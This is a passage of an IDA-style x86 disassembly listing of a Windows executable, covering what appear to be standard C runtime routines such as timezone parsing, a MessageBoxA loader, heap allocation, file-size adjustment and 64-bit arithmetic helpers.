word_424752	dw 0C68h		; DATA XREF: ___:00429028o
; ---------------------------------------------------------------------------
		inc	edi
		inc	edx
		add	[eax+1DBD8DE8h], dl
		add	ah, byte ptr dword_4DB4A0[ebx]
		retn
; ---------------------------------------------------------------------------
byte_424763	db 0FFh			; DATA XREF: ___:00429040o
		dd 4DB4A035h, 7BE89000h, 0C3021DBDh

; =============== S U B	R O U T	I N E =======================================



sub_424770	proc near		; CODE XREF: sub_421DB1+6Bp
					; sub_4222C2+61p ...

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8

		push	esi
		push	1
		pop	esi
		push	[esp+4+arg_4]
		push	[esp+8+arg_0]
		nop
		call	near ptr 2600000h
		test	eax, eax
		jz	short loc_424788
		xor	esi, esi

loc_424788:				; CODE XREF: sub_424770+14j
		mov	eax, esi
		pop	esi
		retn
sub_424770	endp


; =============== S U B	R O U T	I N E =======================================



sub_42478C	proc near		; CODE XREF: sub_4222C2+73p
					; sub_4222C2+BFp ...

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8

		push	esi
		push	1
		pop	esi
		push	[esp+4+arg_4]
		push	[esp+8+arg_0]
		nop
		call	near ptr 2890939h
		test	eax, eax
		jz	short loc_4247A4
		xor	esi, esi

loc_4247A4:				; CODE XREF: sub_42478C+14j
		mov	eax, esi
		pop	esi
		retn
sub_42478C	endp


; =============== S U B	R O U T	I N E =======================================



sub_4247A8	proc near		; CODE XREF: sub_4222C2+15Bp
					; sub_42470C+2Dp

arg_0		= dword	ptr  4

		push	esi
		push	1
		pop	esi
		push	[esp+4+arg_0]
		call	near ptr 25F0AD8h
		nop
		test	eax, eax
		jz	short loc_4247BC
		xor	esi, esi

loc_4247BC:				; CODE XREF: sub_4247A8+10j
		mov	eax, esi
		pop	esi
		retn
sub_4247A8	endp

; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_42255C

loc_4247C0:				; CODE XREF: sub_42255C:loc_4225ADj
		push	0Ah
		call	sub_4235C9
		push	16h
		call	sub_425955
		pop	ecx
		pop	ecx
		push	3
		call	sub_41B7C2
; END OF FUNCTION CHUNK	FOR sub_42255C

; =============== S U B	R O U T	I N E =======================================



sub_4247D7	proc near		; CODE XREF: sub_422669:loc_4226A8p
		cmp	dword_4DB560, 0
		jnz	short locret_4247EB
		call	sub_4247EC
		inc	dword_4DB560

locret_4247EB:				; CODE XREF: sub_4247D7+7j
		retn
sub_4247D7	endp


; =============== S U B	R O U T	I N E =======================================



sub_4247EC	proc near		; CODE XREF: sub_4247D7+9p

var_4		= dword	ptr -4

		push	ecx
		push	ebx
		push	ebp
		push	esi
		push	edi
		xor	ebp, ebp
		or	ebx, 0FFFFFFFFh
		push	offset aTz	; "TZ"
		xor	edi, edi
		mov	dword_4DB4A8, ebp
		mov	dword_43CD50, ebx
		mov	dword_43CD40, ebx
		call	sub_425AC7
		mov	esi, eax
		pop	ecx
		cmp	esi, ebp
		jnz	loc_424915
		push	offset dword_4DB4B0
		nop
		call	near ptr 2850000h
		cmp	eax, ebx
		jz	loc_424A44
		mov	eax, dword_4DB4B0
		mov	ecx, dword_4DB504
		imul	eax, 3Ch
		cmp	word_4DB4F6, bp
		push	1
		pop	edx
		mov	dword_43CCA8, eax
		mov	dword_4DB4A8, edx
		jz	short loc_424863
		mov	esi, ecx
		imul	esi, 3Ch
		add	eax, esi
		mov	dword_43CCA8, eax

loc_424863:				; CODE XREF: sub_4247EC+69j
		cmp	word_4DB54A, bp
		jz	short loc_424887
		mov	eax, dword_4DB558
		cmp	eax, ebp
		jz	short loc_424887
		sub	eax, ecx
		mov	dword_43CCAC, edx
		imul	eax, 3Ch
		mov	dword_43CCB0, eax
		jmp	short loc_424893
; ---------------------------------------------------------------------------

loc_424887:				; CODE XREF: sub_4247EC+7Ej
					; sub_4247EC+87j
		mov	dword_43CCAC, ebp
		mov	dword_43CCB0, ebp

loc_424893:				; CODE XREF: sub_4247EC+99j
		lea	eax, [esp+14h+var_4]
		mov	esi, dword_42717C
		push	eax
		push	ebp
		push	3Fh
		mov	edi, 220h
		push	off_43CD34
		push	ebx
		push	offset dword_4DB4B4
		push	edi
		push	dword_4DB344
		call	esi
		test	eax, eax
		jz	short loc_4248D0
		cmp	[esp+14h+var_4], ebp
		jnz	short loc_4248D0
		mov	eax, off_43CD34
		and	byte ptr [eax+3Fh], 0
		jmp	short loc_4248D8
; ---------------------------------------------------------------------------

loc_4248D0:				; CODE XREF: sub_4247EC+D1j
					; sub_4247EC+D7j
		mov	eax, off_43CD34
		and	byte ptr [eax],	0

loc_4248D8:				; CODE XREF: sub_4247EC+E2j
		lea	eax, [esp+14h+var_4]
		push	eax
		push	ebp
		push	3Fh
		push	off_43CD38
		push	ebx
		push	offset dword_4DB508
		push	edi
		push	dword_4DB344
		call	esi
		test	eax, eax
		jz	loc_424A3C
		cmp	[esp+14h+var_4], ebp
		jnz	loc_424A3C
		mov	eax, off_43CD38
		and	byte ptr [eax+3Fh], 0
		jmp	loc_424A44
; ---------------------------------------------------------------------------

loc_424915:				; CODE XREF: sub_4247EC+2Dj
		cmp	byte ptr [esi],	0
		jz	loc_424A44
		mov	eax, dword_4DB55C
		cmp	eax, ebp
		jz	short loc_424938
		push	eax
		push	esi
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_424A44

loc_424938:				; CODE XREF: sub_4247EC+139j
		push	dword_4DB55C
		call	sub_41B0B1
		push	esi
		call	sub_41AFE0
		inc	eax
		push	eax
		call	sub_41B4D5
		add	esp, 0Ch
		cmp	eax, ebp
		mov	dword_4DB55C, eax
		jz	loc_424A44
		push	esi
		push	eax
		call	sub_41BEB0
		push	3
		push	esi
		push	off_43CD34
		call	sub_41B5F0
		mov	eax, off_43CD34
		add	esi, 3
		add	esp, 14h
		and	byte ptr [eax+3], 0
		cmp	byte ptr [esi],	2Dh
		jnz	short loc_42498D
		push	1
		inc	esi
		pop	edi

loc_42498D:				; CODE XREF: sub_4247EC+19Bj
		push	esi
		call	sub_41B6EE
		pop	ecx
		mov	bl, 30h
		mov	ecx, eax
		imul	ecx, 0E10h
		mov	dword_43CCA8, ecx

loc_4249A4:				; CODE XREF: sub_4247EC+1C7j
		mov	al, [esi]
		cmp	al, 2Bh
		jz	short loc_4249B2
		cmp	al, bl
		jl	short loc_4249B5
		cmp	al, 39h
		jg	short loc_4249B5

loc_4249B2:				; CODE XREF: sub_4247EC+1BCj
		inc	esi
		jmp	short loc_4249A4
; ---------------------------------------------------------------------------

loc_4249B5:				; CODE XREF: sub_4247EC+1C0j
					; sub_4247EC+1C4j
		cmp	byte ptr [esi],	3Ah
		jnz	short loc_424A08
		inc	esi
		push	esi
		call	sub_41B6EE
		imul	eax, 3Ch
		pop	ecx
		mov	ecx, dword_43CCA8
		add	ecx, eax
		mov	dword_43CCA8, ecx

loc_4249D3:				; CODE XREF: sub_4247EC+1F2j
		mov	al, [esi]
		cmp	al, bl
		jl	short loc_4249E0
		cmp	al, 39h
		jg	short loc_4249E0
		inc	esi
		jmp	short loc_4249D3
; ---------------------------------------------------------------------------

loc_4249E0:				; CODE XREF: sub_4247EC+1EBj
					; sub_4247EC+1EFj
		cmp	byte ptr [esi],	3Ah
		jnz	short loc_424A08
		inc	esi
		push	esi
		call	sub_41B6EE
		pop	ecx
		mov	ecx, dword_43CCA8
		add	ecx, eax
		mov	dword_43CCA8, ecx

loc_4249FB:				; CODE XREF: sub_4247EC+21Aj
		mov	al, [esi]
		cmp	al, bl
		jl	short loc_424A08
		cmp	al, 39h
		jg	short loc_424A08
		inc	esi
		jmp	short loc_4249FB
; ---------------------------------------------------------------------------

loc_424A08:				; CODE XREF: sub_4247EC+1CCj
					; sub_4247EC+1F7j ...
		cmp	edi, ebp
		jz	short loc_424A14
		neg	ecx
		mov	dword_43CCA8, ecx

loc_424A14:				; CODE XREF: sub_4247EC+21Ej
		movsx	eax, byte ptr [esi]
		cmp	eax, ebp
		mov	dword_43CCAC, eax
		jz	short loc_424A3C
		push	3
		push	esi
		push	off_43CD38
		call	sub_41B5F0
		mov	eax, off_43CD38
		add	esp, 0Ch
		and	byte ptr [eax+3], 0
		jmp	short loc_424A44
; ---------------------------------------------------------------------------

loc_424A3C:				; CODE XREF: sub_4247EC+10Bj
					; sub_4247EC+115j ...
		mov	eax, off_43CD38
		and	byte ptr [eax],	0

loc_424A44:				; CODE XREF: sub_4247EC+40j
					; sub_4247EC+124j ...
		pop	edi
		pop	esi
		pop	ebp
		pop	ebx
		pop	ecx
		retn
sub_4247EC	endp


; =============== S U B	R O U T	I N E =======================================



sub_424A4A	proc near		; CODE XREF: sub_422669+A5p

arg_0		= dword	ptr  4

		push	ebx
		push	esi
		push	edi
		xor	edi, edi
		cmp	dword_43CCAC, edi
		jnz	short loc_424A5E

loc_424A57:				; CODE XREF: sub_424A4A+148j
					; sub_424A4A+150j ...
		xor	eax, eax
		jmp	loc_424BAA
; ---------------------------------------------------------------------------

loc_424A5E:				; CODE XREF: sub_424A4A+Bj
		mov	esi, [esp+0Ch+arg_0]
		push	1
		pop	ebx
		mov	eax, [esi+14h]
		cmp	eax, dword_43CD40
		jnz	short loc_424A7C
		cmp	eax, dword_43CD50
		jz	loc_424B7E

loc_424A7C:				; CODE XREF: sub_424A4A+24j
		cmp	dword_4DB4A8, edi
		jz	loc_424B54
		movzx	ecx, word_4DB556
		push	ecx
		cmp	word_4DB548, di
		movzx	ecx, word_4DB554
		push	ecx
		movzx	ecx, word_4DB552
		push	ecx
		movzx	ecx, word_4DB550
		push	ecx
		jnz	short loc_424ACE
		movzx	ecx, word_4DB54C
		push	edi
		push	ecx
		movzx	ecx, word_4DB54E
		push	ecx
		movzx	ecx, word_4DB54A
		push	ecx
		push	eax
		push	ebx
		jmp	short loc_424AE2
; ---------------------------------------------------------------------------

loc_424ACE:				; CODE XREF: sub_424A4A+65j
		movzx	ecx, word_4DB54E
		push	ecx
		push	edi
		movzx	ecx, word_4DB54A
		push	edi
		push	ecx
		push	eax
		push	edi

loc_424AE2:				; CODE XREF: sub_424A4A+82j
		push	ebx
		call	sub_424BF6
		movzx	eax, word_4DB502
		add	esp, 2Ch
		cmp	word_4DB4F4, di
		push	eax
		movzx	eax, word_4DB500
		push	eax
		movzx	eax, word_4DB4FE
		push	eax
		movzx	eax, word_4DB4FC
		push	eax
		jnz	short loc_424B3C
		movzx	eax, word_4DB4F8
		push	edi
		push	eax
		movzx	eax, word_4DB4FA
		push	eax
		movzx	eax, word_4DB4F6
		push	eax
		push	dword ptr [esi+14h]
		push	ebx

loc_424B31:				; CODE XREF: sub_424A4A+108j
		push	edi
		call	sub_424BF6
		add	esp, 2Ch
		jmp	short loc_424B7E
; ---------------------------------------------------------------------------

loc_424B3C:				; CODE XREF: sub_424A4A+C8j
		movzx	eax, word_4DB4FA
		push	eax
		push	edi
		movzx	eax, word_4DB4F6
		push	edi
		push	eax
		push	dword ptr [esi+14h]
		push	edi
		jmp	short loc_424B31
; ---------------------------------------------------------------------------

loc_424B54:				; CODE XREF: sub_424A4A+38j
		push	edi
		push	edi
		push	edi
		push	2
		push	edi
		push	edi
		push	ebx
		push	4
		push	eax
		push	ebx
		push	ebx
		call	sub_424BF6
		push	edi
		push	edi
		push	edi
		push	2
		push	edi
		push	edi
		push	5
		push	0Ah
		push	dword ptr [esi+14h]
		push	ebx
		push	edi
		call	sub_424BF6
		add	esp, 58h

loc_424B7E:				; CODE XREF: sub_424A4A+2Cj
					; sub_424A4A+F0j
		mov	edx, dword_43CD44
		mov	eax, dword_43CD54
		mov	ecx, [esi+1Ch]
		cmp	edx, eax
		jge	short loc_424BAE
		cmp	ecx, edx
		jl	loc_424A57
		cmp	ecx, eax
		jg	loc_424A57
		cmp	ecx, edx
		jle	short loc_424BC2
		cmp	ecx, eax
		jge	short loc_424BC2

loc_424BA8:				; CODE XREF: sub_424A4A+166j
					; sub_424A4A+16Aj
		mov	eax, ebx

loc_424BAA:				; CODE XREF: sub_424A4A+Fj
					; sub_424A4A+19Dj
		pop	edi
		pop	esi
		pop	ebx
		retn
; ---------------------------------------------------------------------------

loc_424BAE:				; CODE XREF: sub_424A4A+144j
		cmp	ecx, eax
		jl	short loc_424BA8
		cmp	ecx, edx
		jg	short loc_424BA8
		cmp	ecx, eax
		jle	short loc_424BC2
		cmp	ecx, edx
		jl	loc_424A57

loc_424BC2:				; CODE XREF: sub_424A4A+158j
					; sub_424A4A+15Cj ...
		mov	eax, [esi+8]
		imul	eax, 3Ch
		add	eax, [esi+4]
		imul	eax, 3Ch
		add	eax, [esi]
		imul	eax, 3E8h
		cmp	ecx, edx
		jnz	short loc_424BE9
		xor	ecx, ecx
		cmp	eax, dword_43CD48
		setnl	cl

loc_424BE5:				; CODE XREF: sub_424A4A+1AAj
		mov	eax, ecx
		jmp	short loc_424BAA
; ---------------------------------------------------------------------------

loc_424BE9:				; CODE XREF: sub_424A4A+18Ej
		xor	ecx, ecx
		cmp	eax, dword_43CD58
		setl	cl
		jmp	short loc_424BE5
sub_424A4A	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_424BF6	proc near		; CODE XREF: sub_424A4A+99p
					; sub_424A4A+E8p ...

arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h
arg_C		= dword	ptr  14h
arg_10		= dword	ptr  18h
arg_14		= dword	ptr  1Ch
arg_18		= dword	ptr  20h
arg_1C		= dword	ptr  24h
arg_20		= dword	ptr  28h
arg_24		= dword	ptr  2Ch
arg_28		= dword	ptr  30h

		push	ebp
		mov	ebp, esp
		cmp	[ebp+arg_4], 1
		push	ebx
		mov	ebx, [ebp+arg_8]
		push	esi
		jnz	loc_424C91
		mov	eax, [ebp+arg_C]
		mov	[ebp+arg_8], ebx
		and	[ebp+arg_8], 3
		mov	esi, eax
		jnz	short loc_424C21
		shl	esi, 2
		mov	eax, dword_43CD58[esi]
		jmp	short loc_424C2A
; ---------------------------------------------------------------------------

loc_424C21:				; CODE XREF: sub_424BF6+1Ej
		shl	esi, 2
		mov	eax, dword_43CD8C[esi]

loc_424C2A:				; CODE XREF: sub_424BF6+29j
		mov	edx, ebx
		lea	ecx, [eax+1]
		imul	edx, 16Dh
		lea	eax, [ebx-1]
		push	edi
		sar	eax, 2
		mov	edi, ecx
		push	7
		add	edi, eax
		lea	eax, [edx+edi-63DBh]
		pop	edi
		cdq
		idiv	edi
		mov	eax, [ebp+arg_10]
		pop	edi
		cmp	edx, [ebp+arg_14]
		jg	short loc_424C64
		imul	eax, 7
		sub	eax, edx
		add	eax, [ebp+arg_14]
		lea	ecx, [ecx+eax-7]
		jmp	short loc_424C6E
; ---------------------------------------------------------------------------

loc_424C64:				; CODE XREF: sub_424BF6+5Ej
		imul	eax, 7
		sub	eax, edx
		add	eax, [ebp+arg_14]
		add	ecx, eax

loc_424C6E:				; CODE XREF: sub_424BF6+6Cj
		cmp	[ebp+arg_10], 5
		jnz	short loc_424CAC
		cmp	[ebp+arg_8], 0
		jnz	short loc_424C82
		mov	esi, dword_43CD5C[esi]
		jmp	short loc_424C88
; ---------------------------------------------------------------------------

loc_424C82:				; CODE XREF: sub_424BF6+82j
		mov	esi, dword_43CD90[esi]

loc_424C88:				; CODE XREF: sub_424BF6+8Aj
		cmp	ecx, esi
		jle	short loc_424CAC
		sub	ecx, 7
		jmp	short loc_424CAC
; ---------------------------------------------------------------------------

loc_424C91:				; CODE XREF: sub_424BF6+Cj
		mov	eax, [ebp+arg_C]
		test	bl, 3
		jnz	short loc_424CA2
		mov	ecx, dword_43CD58[eax*4]
		jmp	short loc_424CA9
; ---------------------------------------------------------------------------

loc_424CA2:				; CODE XREF: sub_424BF6+A1j
		mov	ecx, dword_43CD8C[eax*4]

loc_424CA9:				; CODE XREF: sub_424BF6+AAj
		add	ecx, [ebp+arg_18]

loc_424CAC:				; CODE XREF: sub_424BF6+7Cj
					; sub_424BF6+94j ...
		cmp	[ebp+arg_0], 1
		jnz	short loc_424CDD
		mov	eax, [ebp+arg_1C]
		mov	dword_43CD44, ecx
		imul	eax, 3Ch
		add	eax, [ebp+arg_20]
		mov	dword_43CD40, ebx
		imul	eax, 3Ch
		add	eax, [ebp+arg_24]
		imul	eax, 3E8h
		add	eax, [ebp+arg_28]
		mov	dword_43CD48, eax
		jmp	short loc_424D32
; ---------------------------------------------------------------------------

loc_424CDD:				; CODE XREF: sub_424BF6+BAj
		mov	eax, [ebp+arg_1C]
		mov	dword_43CD54, ecx
		imul	eax, 3Ch
		add	eax, [ebp+arg_20]
		imul	eax, 3Ch
		add	eax, dword_43CCB0
		add	eax, [ebp+arg_24]
		imul	eax, 3E8h
		add	eax, [ebp+arg_28]
		mov	dword_43CD58, eax
		jns	short loc_424D15
		add	eax, 5265C00h
		dec	ecx
		mov	dword_43CD58, eax
		jmp	short loc_424D26
; ---------------------------------------------------------------------------

loc_424D15:				; CODE XREF: sub_424BF6+110j
		mov	edx, 5265C00h
		cmp	eax, edx
		jl	short loc_424D2C
		sub	eax, edx
		inc	ecx
		mov	dword_43CD58, eax

loc_424D26:				; CODE XREF: sub_424BF6+11Dj
		mov	dword_43CD54, ecx

loc_424D2C:				; CODE XREF: sub_424BF6+126j
		mov	dword_43CD50, ebx

loc_424D32:				; CODE XREF: sub_424BF6+E5j
		pop	esi
		pop	ebx
		pop	ebp
		retn
sub_424BF6	endp


; =============== S U B	R O U T	I N E =======================================



sub_424D36	proc near		; CODE XREF: ___:00422E9Dp

arg_0		= dword	ptr  4

		push	4
		push	0
		push	[esp+8+arg_0]
		call	sub_424D47
		add	esp, 0Ch
		retn
sub_424D36	endp


; =============== S U B	R O U T	I N E =======================================



sub_424D47	proc near		; CODE XREF: sub_424D36+8p

arg_0		= byte ptr  4
arg_4		= dword	ptr  8
arg_8		= byte ptr  0Ch

		movzx	eax, [esp+arg_0]
		mov	cl, [esp+arg_8]
		test	byte_4DC7E1[eax], cl
		jnz	short loc_424D74
		cmp	[esp+arg_4], 0
		jz	short loc_424D6D
		movzx	eax, word_43C302[eax*2]
		and	eax, [esp+arg_4]
		jmp	short loc_424D6F
; ---------------------------------------------------------------------------

loc_424D6D:				; CODE XREF: sub_424D47+16j
		xor	eax, eax

loc_424D6F:				; CODE XREF: sub_424D47+24j
		test	eax, eax
		jnz	short loc_424D74
		retn
; ---------------------------------------------------------------------------

loc_424D74:				; CODE XREF: sub_424D47+Fj
					; sub_424D47+2Aj
		push	1
		pop	eax
		retn
sub_424D47	endp


; =============== S U B	R O U T	I N E =======================================



sub_424D78	proc near		; CODE XREF: sub_4235C9+11Fp

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8
arg_8		= dword	ptr  0Ch

		push	ebx
		xor	ebx, ebx
		cmp	dword_4DB564, ebx
		push	esi
		push	edi
		jnz	short loc_424DC7
		push	offset aUser32_dll ; "user32.dll"
		nop
		call	near ptr 26A0000h
		mov	edi, eax
		cmp	edi, ebx
		jz	short loc_424DFD
		mov	esi, dword_4270BC
		push	offset aMessageboxa ; "MessageBoxA"
		push	edi
		call	esi
		test	eax, eax
		mov	dword_4DB564, eax
		jz	short loc_424DFD
		push	offset aGetactivewindo ; "GetActiveWindow"
		push	edi
		call	esi
		push	offset aGetlastactivep ; "GetLastActivePopup"
		push	edi
		mov	dword_4DB568, eax
		call	esi
		mov	dword_4DB56C, eax

loc_424DC7:				; CODE XREF: sub_424D78+Bj
		mov	eax, dword_4DB568
		test	eax, eax
		jz	short loc_424DE6
		call	eax
		mov	ebx, eax
		test	ebx, ebx
		jz	short loc_424DE6
		mov	eax, dword_4DB56C
		test	eax, eax
		jz	short loc_424DE6
		push	ebx
		call	eax
		mov	ebx, eax

loc_424DE6:				; CODE XREF: sub_424D78+56j
					; sub_424D78+5Ej ...
		push	[esp+0Ch+arg_8]
		push	[esp+10h+arg_4]
		push	[esp+14h+arg_0]
		push	ebx
		call	dword_4DB564

loc_424DF9:				; CODE XREF: sub_424D78+87j
		pop	edi
		pop	esi
		pop	ebx
		retn
; ---------------------------------------------------------------------------

loc_424DFD:				; CODE XREF: sub_424D78+1Cj
					; sub_424D78+33j
		xor	eax, eax
		jmp	short loc_424DF9
sub_424D78	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_424E01	proc near		; CODE XREF: sub_423936+22p
					; sub_423936+3Bp

arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch

		push	ebp
		mov	ebp, esp
		push	esi
		mov	esi, [ebp+arg_0]
		imul	esi, [ebp+arg_4]
		cmp	esi, 0FFFFFFE0h
		push	edi
		mov	[ebp+arg_0], esi
		ja	short loc_424E22
		test	esi, esi
		jnz	short loc_424E1C
		push	1
		pop	esi

loc_424E1C:				; CODE XREF: sub_424E01+16j
		add	esi, 0Fh
		and	esi, 0FFFFFFF0h

loc_424E22:				; CODE XREF: sub_424E01+12j
					; sub_424E01+94j
		xor	edi, edi
		cmp	esi, 0FFFFFFE0h
		ja	short loc_424E81
		mov	eax, dword_4DC908
		cmp	eax, 3
		jnz	short loc_424E4D
		mov	eax, [ebp+arg_0]
		cmp	eax, dword_4DC900
		ja	short loc_424E6C
		push	eax
		call	sub_41E1CB
		mov	edi, eax
		pop	ecx
		test	edi, edi
		jnz	short loc_424E97
		jmp	short loc_424E6C
; ---------------------------------------------------------------------------

loc_424E4D:				; CODE XREF: sub_424E01+30j
		cmp	eax, 2
		jnz	short loc_424E6C
		cmp	esi, dword_43C2F4
		ja	short loc_424E6C
		mov	eax, esi
		shr	eax, 4
		push	eax
		call	sub_41EC6E
		mov	edi, eax
		pop	ecx
		test	edi, edi
		jnz	short loc_424EAB

loc_424E6C:				; CODE XREF: sub_424E01+3Bj
					; sub_424E01+4Aj ...
		push	esi
		push	8
		push	dword_4DC904
		nop
		call	near ptr 27A0000h
		mov	edi, eax
		test	edi, edi
		jnz	short loc_424EA5

loc_424E81:				; CODE XREF: sub_424E01+26j
		cmp	dword_4DB2FC, 0
		jz	short loc_424EA5
		push	esi
		call	sub_41F312
		test	eax, eax
		pop	ecx
		jz	short loc_424EAE
		jmp	short loc_424E22
; ---------------------------------------------------------------------------

loc_424E97:				; CODE XREF: sub_424E01+48j
		push	[ebp+arg_0]

loc_424E9A:				; CODE XREF: sub_424E01+ABj
		push	0
		push	edi
		call	sub_41B590
		add	esp, 0Ch

loc_424EA5:				; CODE XREF: sub_424E01+7Ej
					; sub_424E01+87j
		mov	eax, edi

loc_424EA7:				; CODE XREF: sub_424E01+AFj
		pop	edi
		pop	esi
		pop	ebp
		retn
; ---------------------------------------------------------------------------

loc_424EAB:				; CODE XREF: sub_424E01+69j
		push	esi
		jmp	short loc_424E9A
; ---------------------------------------------------------------------------

loc_424EAE:				; CODE XREF: sub_424E01+92j
		xor	eax, eax
		jmp	short loc_424EA7
sub_424E01	endp

; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_4239DB

loc_424EB2:				; CODE XREF: sub_4239DB+Ej
		push	esi
		push	edi
		push	3
		xor	edi, edi
		pop	esi
		cmp	dword_4DC5A0, esi
		jle	short loc_424F05

loc_424EC1:				; CODE XREF: sub_4239DB+1528j
		mov	eax, dword_4DB598
		mov	eax, [eax+esi*4]
		test	eax, eax
		jz	short loc_424EFC
		test	byte ptr [eax+0Ch], 83h
		jz	short loc_424EE0
		push	eax
		call	sub_41B05B
		cmp	eax, 0FFFFFFFFh
		pop	ecx
		jz	short loc_424EE0
		inc	edi

loc_424EE0:				; CODE XREF: sub_4239DB+14F6j
					; sub_4239DB+1502j
		cmp	esi, 14h
		jl	short loc_424EFC
		mov	eax, dword_4DB598
		push	dword ptr [eax+esi*4]
		call	sub_41B0B1
		mov	eax, dword_4DB598
		pop	ecx
		and	dword ptr [eax+esi*4], 0

loc_424EFC:				; CODE XREF: sub_4239DB+14F0j
					; sub_4239DB+1508j
		inc	esi
		cmp	esi, dword_4DC5A0
		jl	short loc_424EC1

loc_424F05:				; CODE XREF: sub_4239DB+14E4j
		mov	eax, edi
		pop	edi
		pop	esi
		retn
; END OF FUNCTION CHUNK	FOR sub_4239DB

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_424F0A	proc near		; CODE XREF: sub_423A33+271p

var_1000	= byte ptr -1000h
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch

		push	ebp
		mov	ebp, esp
		mov	eax, 1000h
		call	sub_41BB20
		push	ebx
		mov	ebx, [ebp+arg_0]
		push	esi
		xor	esi, esi
		cmp	ebx, dword_4DC6C0
		jnb	loc_42503F
		mov	eax, ebx
		mov	ecx, ebx
		sar	eax, 5
		and	ecx, 1Fh
		mov	eax, dword_4DC5C0[eax*4]
		test	byte ptr [eax+ecx*8+4],	1
		jz	loc_42503F
		push	1
		push	esi
		push	ebx
		call	sub_42272B
		add	esp, 0Ch
		cmp	eax, 0FFFFFFFFh
		mov	[ebp+arg_0], eax
		jz	loc_425049
		push	2
		push	esi
		push	ebx
		call	sub_42272B
		add	esp, 0Ch
		cmp	eax, 0FFFFFFFFh
		jz	loc_425049
		push	edi
		mov	edi, [ebp+arg_4]
		sub	edi, eax
		test	edi, edi
		jle	short loc_424FEC
		push	1000h
		lea	eax, [ebp+var_1000]
		push	esi
		push	eax
		call	sub_41B590
		push	8000h
		push	ebx
		call	sub_425B44
		add	esp, 14h
		mov	[ebp+arg_4], eax

loc_424FA0:				; CODE XREF: sub_424F0A+BDj
		mov	eax, 1000h
		cmp	edi, eax
		jge	short loc_424FAB
		mov	eax, edi

loc_424FAB:				; CODE XREF: sub_424F0A+9Dj
		push	eax
		lea	eax, [ebp+var_1000]
		push	eax
		push	ebx
		call	sub_42291D
		add	esp, 0Ch
		cmp	eax, 0FFFFFFFFh
		jz	short loc_424FC9
		sub	edi, eax
		test	edi, edi
		jle	short loc_424FDF
		jmp	short loc_424FA0
; ---------------------------------------------------------------------------

loc_424FC9:				; CODE XREF: sub_424F0A+B5j
		cmp	dword_4DB27C, 5
		jnz	short loc_424FDC
		mov	dword_4DB278, 0Dh

loc_424FDC:				; CODE XREF: sub_424F0A+C6j
		or	esi, 0FFFFFFFFh

loc_424FDF:				; CODE XREF: sub_424F0A+BBj
		push	[ebp+arg_4]
		push	ebx
		call	sub_425B44
		pop	ecx
		pop	ecx
		jmp	short loc_42502C
; ---------------------------------------------------------------------------

loc_424FEC:				; CODE XREF: sub_424F0A+71j
		jge	short loc_42502C
		push	0
		push	[ebp+arg_4]
		push	ebx
		call	sub_42272B
		push	ebx
		call	sub_4238A2
		add	esp, 10h
		push	eax
		nop
		call	near ptr 25F0000h
		mov	esi, eax
		neg	esi
		sbb	esi, esi
		neg	esi
		dec	esi
		cmp	esi, 0FFFFFFFFh
		jnz	short loc_42502C
		mov	dword_4DB278, 0Dh
		nop
		call	near ptr 267084Ch
		mov	dword_4DB27C, eax

loc_42502C:				; CODE XREF: sub_424F0A+E0j
					; sub_424F0A:loc_424FECj ...
		push	0
		push	[ebp+arg_0]
		push	ebx
		call	sub_42272B
		add	esp, 0Ch
		mov	eax, esi
		pop	edi
		jmp	short loc_42504C
; ---------------------------------------------------------------------------

loc_42503F:				; CODE XREF: sub_424F0A+1Aj
					; sub_424F0A+36j
		mov	dword_4DB278, 9

loc_425049:				; CODE XREF: sub_424F0A+4Ej
					; sub_424F0A+63j
		or	eax, 0FFFFFFFFh

loc_42504C:				; CODE XREF: sub_424F0A+133j
		pop	esi
		pop	ebx
		leave
		retn
sub_424F0A	endp


; =============== S U B	R O U T	I N E =======================================



sub_425050	proc near		; CODE XREF: sub_4241CF+2Bp
					; sub_4241CF+42p ...

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8
arg_8		= dword	ptr  0Ch

		mov	edx, [esp+arg_0]
		push	esi
		mov	esi, [esp+4+arg_4]
		xor	eax, eax
		lea	ecx, [edx+esi]
		cmp	ecx, edx
		jb	short loc_425066
		cmp	ecx, esi
		jnb	short loc_425069

loc_425066:				; CODE XREF: sub_425050+10j
		push	1
		pop	eax

loc_425069:				; CODE XREF: sub_425050+14j
		mov	edx, [esp+4+arg_8]
		pop	esi
		mov	[edx], ecx
		retn
sub_425050	endp


; =============== S U B	R O U T	I N E =======================================



sub_425071	proc near		; CODE XREF: sub_42512A+40p
					; sub_42512A+61p ...

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8

		push	esi
		mov	esi, [esp+4+arg_0]
		push	edi
		mov	edi, [esp+8+arg_4]
		push	esi
		push	dword ptr [edi]
		push	dword ptr [esi]
		call	sub_425050
		add	esp, 0Ch
		test	eax, eax
		jz	short loc_4250A3
		lea	eax, [esi+4]
		push	eax
		push	1
		push	dword ptr [eax]
		call	sub_425050
		add	esp, 0Ch
		test	eax, eax
		jz	short loc_4250A3
		inc	dword ptr [esi+8]

loc_4250A3:				; CODE XREF: sub_425071+19j
					; sub_425071+2Dj
		lea	eax, [esi+4]
		push	eax
		push	dword ptr [edi+4]
		push	dword ptr [eax]
		call	sub_425050
		add	esp, 0Ch
		test	eax, eax
		jz	short loc_4250BB
		inc	dword ptr [esi+8]

loc_4250BB:				; CODE XREF: sub_425071+45j
		lea	eax, [esi+8]
		push	eax
		push	dword ptr [edi+8]
		push	dword ptr [eax]
		call	sub_425050
		add	esp, 0Ch
		pop	edi
		pop	esi
		retn
sub_425071	endp


; =============== S U B	R O U T	I N E =======================================



sub_4250CF	proc near		; CODE XREF: sub_42512A+30p
					; sub_42512A+36p ...

arg_0		= dword	ptr  4

		mov	eax, [esp+arg_0]
		push	esi
		push	edi
		mov	esi, [eax]
		mov	edi, [eax+4]
		mov	ecx, esi
		add	esi, esi
		mov	[eax], esi
		lea	esi, [edi+edi]
		shr	ecx, 1Fh
		or	esi, ecx
